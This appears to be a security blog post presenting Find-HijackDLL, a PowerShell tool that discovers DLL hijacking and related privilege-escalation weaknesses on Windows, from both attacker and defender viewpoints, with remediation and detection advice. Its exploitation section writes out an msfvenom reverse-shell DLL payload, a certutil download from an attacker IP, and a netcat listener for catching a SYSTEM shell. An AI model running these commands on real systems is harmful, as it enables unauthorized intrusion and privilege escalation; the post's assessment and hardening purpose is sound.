Find-HijackDLL: Discovering DLL Hijacking Without Procmon
A pure PowerShell tool for finding DLL hijacking vectors — from the perspective of both the attacker and the defender.
The Problem Everyone Works Around
DLL hijacking is one of the oldest and most reliable privilege escalation techniques on Windows. The concept is simple: Windows applications search for DLLs in a predictable order. If an attacker can place a malicious DLL somewhere in that search path before the legitimate one, the application loads the attacker's code instead.
The technique is well-understood. What's less well-solved is the discovery problem: how do you find which DLLs are hijackable on a given system?
The industry-standard answer has been the same for over a decade: run Procmon, filter for "NAME NOT FOUND," and look at the results. Process Monitor is an excellent tool, but it comes with assumptions that don't always hold:
- You have GUI access to the target
- You can run SysInternals tools without AV/EDR blocking them
- You have administrative privileges
- You can afford to sit and watch the output while processes load DLLs
On a penetration test, you often have none of these. You have a reverse shell, maybe PowerShell, and a narrow window of time. Procmon isn't an option. So you either skip DLL hijacking entirely or guess based on experience.
Find-HijackDLL was built to close that gap.
What the Tool Does
Find-HijackDLL is a pure PowerShell script that discovers DLL hijacking opportunities without requiring Procmon, administrative privileges, GUI access, or external dependencies. It runs from any PowerShell session — including remote shells, WinRM sessions, and reverse shells — on PowerShell 3.0+ (Windows 7 and later).
The tool performs eight distinct checks in a single scan:
1. Missing DLL Detection (the Procmon replacement)
This is the core feature. The script includes a built-in PE parser that reads the import table of every running process and every registered service binary. For each imported DLL, it simulates the Windows DLL search order — checking the application directory, System32, the Windows directory, and every PATH directory — to determine whether the DLL actually exists.
If a DLL is imported but doesn't exist anywhere in the search path, it's a missing DLL. On a real system, Windows would log a load failure and the application would either crash or degrade. For an attacker, it's a planting opportunity. For a defender, it's a vulnerability waiting to be exploited.
2. Writable PATH Directory Analysis
Windows searches PATH directories when a DLL isn't found in higher-priority locations. If any PATH directory is writable by the current user, every DLL loaded through PATH search becomes a potential hijacking target. The tool tests each PATH directory by attempting a file write operation, providing definitive results rather than ACL parsing heuristics.
3. Service Binary Directory Permissions
Services are high-value targets because they often run as SYSTEM. If the directory containing a service's executable is writable, an attacker can plant a DLL that the service will load on next restart. The tool enumerates all auto-start services and tests their directories.
4. Unquoted Service Paths
A classic Windows vulnerability: if a service path contains spaces and isn't wrapped in quotes, Windows will try to execute intermediate paths. C:\Program Files\Custom App\service.exe becomes a search for C:\Program.exe, then C:\Program Files\Custom.exe, and so on. The tool identifies every unquoted service path with spaces.
5. Writable Service Binaries
Beyond the directory, the tool checks whether service executables themselves are writable — a direct binary replacement opportunity.
6. Process DLL Analysis
Examines currently loaded DLLs across all running processes and flags any that were loaded from writable directories (outside of System32 and other protected locations).
7. Known Hijackable DLL Matching
A curated list of DLL names known to be frequently loaded through search-order mechanisms (version.dll, winhttp.dll, dbghelp.dll, etc.) is cross-referenced against writable PATH directories. If a match is found, the tool reports that the DLL can be planted.
8. Event Log Analysis
SideBySide errors, Application errors, and Service Control Manager failures often contain traces of DLL loading problems. The tool scans recent event logs for DLL-related error patterns — evidence that the system has already encountered missing or failed DLL loads.
How It Works: The PE Import Table Parser
The most technically interesting component is the PE parser, implemented entirely in PowerShell using System.IO.BinaryReader. No .NET reflection, no Add-Type compilation, no external binaries.
The parser walks the PE structure of each executable:
- Read the DOS header and locate the PE signature via
e_lfanew - Parse the COFF header to find the number of sections and optional header size
- Read the optional header to locate the Import Directory RVA (Relative Virtual Address)
- Parse section headers to build an RVA-to-file-offset mapping
- Walk the Import Directory Table, reading each entry's Name RVA
- Convert each Name RVA to a file offset and read the null-terminated ASCII DLL name
- Return the deduplicated list of imported DLL names
For each imported DLL, the Resolve-DLLPath function then simulates the exact Windows DLL search order:
- Check the KnownDLLs registry (these are always loaded from System32)
- Check SafeDllSearchMode configuration
- Search in order: application directory, System32, System, Windows, current directory (position varies with SafeDllSearchMode), and each PATH directory
If the DLL isn't found anywhere in this search, it's genuinely missing — the same condition that Procmon would show as "NAME NOT FOUND."
The Red Team Perspective
When to Use It
You're on a Windows target with a low-privilege shell. Standard privesc checks have been run. No SeImpersonatePrivilege for Potato exploits. No writable services through PowerUp. Kernel exploits don't match. The box looks hardened.
This is where Find-HijackDLL earns its place. Load the script and run:
. .\Find-DLLHijack.ps1
Invoke-DLLHijackScan
The scan takes one to three minutes depending on the number of running processes. Results fall into three categories by risk:
CRITICAL — A missing DLL in a writable directory. You can plant a malicious DLL right now, and it will be loaded the next time the process or service starts. If the service runs as SYSTEM, this is a direct privilege escalation.
HIGH — A missing DLL in a protected directory, but writable PATH directories exist. You may be able to plant the DLL in a PATH directory instead, depending on the DLL search order for that specific binary.
MEDIUM — A missing DLL or known hijackable DLL with no immediately writable location. Useful for documenting the vulnerability even if exploitation requires additional access.
Exploitation Workflow
Once you've identified a target:
# Generate a malicious DLL on your attacker machine:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f dll -o payload.dll
# Transfer to the target with the expected DLL name:
certutil -urlcache -f http://10.10.10.1/payload.dll C:\writable\path\missing.dll
# Set up your listener:
nc -lvnp 4444
# Restart the service (or wait for reboot / scheduled restart):
sc stop VulnerableService
sc start VulnerableService
# Catch the SYSTEM shell.
Advantages Over Procmon for Red Teams
Procmon is designed for developers and sysadmins who have full GUI access to a machine. Penetration testers operate under different constraints:
- No file transfer needed for Procmon — Find-HijackDLL is a single .ps1 file
- No GUI required — runs in any PowerShell session, including reverse shells
- No admin needed — runs as the current user and reports what that user can exploit
- No AV signature — pure PowerShell with no compiled binaries to flag
- Faster for enumeration — scans everything in one pass rather than requiring manual filter setup and waiting for processes to trigger loads
The Blue Team Perspective
The same characteristics that make DLL hijacking attractive to attackers make it important for defenders to discover first. Find-HijackDLL gives blue teams a way to audit their environment proactively.
Proactive Vulnerability Assessment
Run the tool across your fleet to answer:
- Which services run from directories with weak permissions?
- Are there missing DLLs that malware could use for persistence?
- Do any PATH directories have overly permissive ACLs?
- Are unquoted service paths present in the environment?
- Is SafeDllSearchMode properly configured everywhere?
Hardening Based on Results
Each finding type maps to a specific remediation:
Writable service directories — Tighten NTFS permissions. Service binaries should be in directories where only administrators can write. Use icacls to verify and correct.
Missing DLLs — Either install the missing dependency or remove the application that requires it. If the application functions without the DLL, the missing import is likely an optional or load-time dependency — but it's still a planting opportunity.
Writable PATH directories — Review the system PATH. Remove directories that don't need to be there. Ensure all PATH directories are only writable by administrators. This is one of the most common and least audited misconfigurations.
Unquoted service paths — Fix the service registration:
sc config "ServiceName" binpath= "\"C:\Program Files\App\service.exe\""
SafeDllSearchMode disabled — Re-enable it. There is almost never a legitimate reason to disable it:
HKLM\System\CurrentControlSet\Control\Session Manager
SafeDllSearchMode = 1 (DWORD)
Continuous Monitoring
The tool supports CSV export for integration with your security pipeline:
Invoke-DLLHijackScan -ExportCSV C:\SecurityAudits\dll_hijack_audit.csv
Schedule it as a recurring task and diff the results. New findings indicate either a software installation that introduced a vulnerability, or a configuration change that weakened permissions.
Detection Engineering
Beyond hardening, the tool's findings inform detection rules:
Sysmon Event ID 7 (Image Loaded) — Alert when a DLL is loaded from a non-standard directory for a known service. If CustomService.exe normally loads helper.dll from C:\Program Files\CustomApp\, a load from C:\Users\Public\ is suspicious.
Sysmon Event ID 11 (File Created) — Alert when a .dll file is created in a writable PATH directory or a service binary directory by a non-administrative user.
Process tree anomalies — Services that suddenly spawn unexpected child processes after a DLL is planted. The service itself runs normally, but the malicious DLL's DllMain executes attacker code.
Technical Deep Dive: Why Missing DLLs Exist
A natural question: why would a running application have imported DLLs that don't exist on the system?
Several common reasons:
Conditional dependencies. An application is compiled with imports for DLLs that are only present in certain environments. For example, a debug logging DLL that's present on developer machines but not in production. The application handles the load failure gracefully and continues without the functionality.
Removed software. An application was installed alongside a dependency that has since been uninstalled. The main application continues to run because the dependency was loaded via delay-load or was only needed for specific features.
Version mismatches. An update replaced or renamed a DLL, but the application's import table still references the old name. The application's error handling catches the load failure and falls back to an alternative.
Intentional design. Some applications import DLLs that they know might not exist, checking at runtime whether the functionality is available. This is common with optional platform features and hardware-specific DLLs.
All of these create the same opportunity: a DLL name that the system will search for and load from the first location where it's found.
Limitations and Honest Disclaimers
Find-HijackDLL is not a complete replacement for Procmon. There are things it cannot do:
Runtime-only loads. If a DLL is loaded via LoadLibrary() with a dynamic string rather than through the PE import table, the static PE parser won't find it. Procmon catches these because it monitors the actual runtime behavior.
Delay-loaded DLLs. Some imports are marked as delay-loaded in the PE headers. The tool's current parser reads the standard import directory but does not parse the delay-load import directory. These DLLs are loaded on first use rather than at process startup, and they represent additional hijacking opportunities that a future version could capture.
Conditional code paths. An application might call LoadLibrary("plugin.dll") only when a user clicks a specific button. The tool can't predict these paths — only runtime monitoring can.
These limitations mean the tool finds a subset of what Procmon would find. But it finds that subset from a remote shell with no admin access and no GUI, which is a tradeoff most pentesters will take.
Getting Started
The tool is open source under the MIT license:
GitHub: https://github.com/FunwayHQ/Find-HijackDLL
# Download and run:
iwr -uri https://raw.githubusercontent.com/FunwayHQ/Find-HijackDLL/main/Find-DLLHijack.ps1 -outfile Find-DLLHijack.ps1
. .\Find-DLLHijack.ps1
Invoke-DLLHijackScan
Contributions welcome — especially additions to the known hijackable DLL list, false positive reports, and delay-load import parsing.
See Also
- Windows Privilege Escalation: Parent PID Spoofing with SeDebugPrivilege — a companion article on another overlooked Windows privesc technique
- psgetsystem by decoder-it — the Parent PID Spoofing tool referenced in the companion article
- Hijack Libs — community database of known DLL hijacking opportunities
- LOLBAS — Living Off The Land Binaries, Scripts, and Libraries
Published on the Funway Interactive Blog -- June 2026 Tool: Find-HijackDLL on GitHub